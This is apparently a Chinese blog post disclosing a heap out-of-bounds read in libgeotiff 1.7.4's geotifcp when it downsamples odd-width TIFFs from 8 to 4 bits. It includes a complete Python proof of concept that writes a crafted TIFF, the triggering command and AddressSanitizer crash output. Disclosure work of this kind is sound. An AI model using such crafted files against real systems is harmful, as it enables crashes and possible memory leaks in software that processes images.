libgeotiff 1.7.4堆缓冲区溢出漏洞分析:8位转4位降采样时的奇数宽度图像处理缺陷

本文详细分析了libgeotiff 1.7.4中geotifcp工具存在的堆缓冲区溢出漏洞。该漏洞在处理具有奇数宽度的TIFF图像并进行8位到4位降采样时触发,可能导致程序崩溃、信息泄露或进一步内存破坏。文章包含完整的概念验证代码和调试输出。

libgeotiff 1.7.4堆缓冲区溢出漏洞分析

漏洞概述

libgeotiff 1.7.4中的geotifcp工具存在堆缓冲区溢出漏洞。该漏洞在函数cpContig2ContigByRow_8_to_4中触发,当处理具有奇数ImageWidth的TIFF图像并使用-d选项(从8位降采样到4位)时会发生。

技术细节

在转换过程中,该函数以像素对的形式进行迭代,并始终访问buf_in[i_in+1]。当图像宽度为奇数时,最后一次迭代会解引用分配缓冲区之外的一个字节,导致堆越界读取。

影响范围

  • 程序崩溃(拒绝服务)
  • 可能的信息泄露(缓冲区外读取)
  • 未定义行为,在特定上下文中可能被进一步利用

概念验证(PoC)

创建触发漏洞的TIFF文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import struct

# TIFF小端头
header = b'II' + struct.pack('<H', 42) + struct.pack('<I', 8)

def dir_entry(tag, typ, count, val_or_off):
    return struct.pack('<HHII', tag, typ, count, val_or_off)

ifd_offset = 8
num_entries = 9
ifd_entries_size = num_entries * 12
next_ifd_ptr_offset = ifd_offset + 2 + ifd_entries_size
image_data_offset = next_ifd_ptr_offset + 4

entries = []
entries.append(dir_entry(256, 3, 1, 101))
entries.append(dir_entry(257, 3, 1, 1))
entries.append(dir_entry(258, 3, 1, 8))
entries.append(dir_entry(259, 3, 1, 1))
entries.append(dir_entry(262, 3, 1, 1))
entries.append(dir_entry(273, 4, 1, image_data_offset))
entries.append(dir_entry(277, 3, 1, 1))
entries.append(dir_entry(278, 4, 1, 1))

image_width = 101
entries.append(dir_entry(279, 4, 1, image_width))

ifd = struct.pack('<H', num_entries) + b''.join(entries) + struct.pack('<I', 0)
image_data = b'A' * image_width
tiff = header + ifd + image_data

with open('poc.tif', 'wb') as f:
    f.write(tiff)

触发溢出

1
2
3
ASAN_OPTIONS=abort_on_error=1 \
UBSAN_OPTIONS=print_stacktrace=1 \
geotifcp -d poc.tif out.tif

调试输出

1
2
3
4
5
==1880851==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50b000005065 at pc 0xaaf267f250b0 bp 0xffffee9f65a0 sp 0xffffee9f6598
READ of size 1 at 0x50b000005065 thread T0
    #0 0xaaf267f250ac in cpContig2ContigByRow_8_to_4 /root/libgeotiff/libgeotiff/bin/geotifcp.c:792:44
    #1 0xaaf267f21c98 in tiffcp /root/libgeotiff/libgeotiff/bin/geotifcp.c:726:15
    #2 0xaaf267f21c98 in main /root/libgeotiff/libgeotiff/bin/geotifcp.c:224:9
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计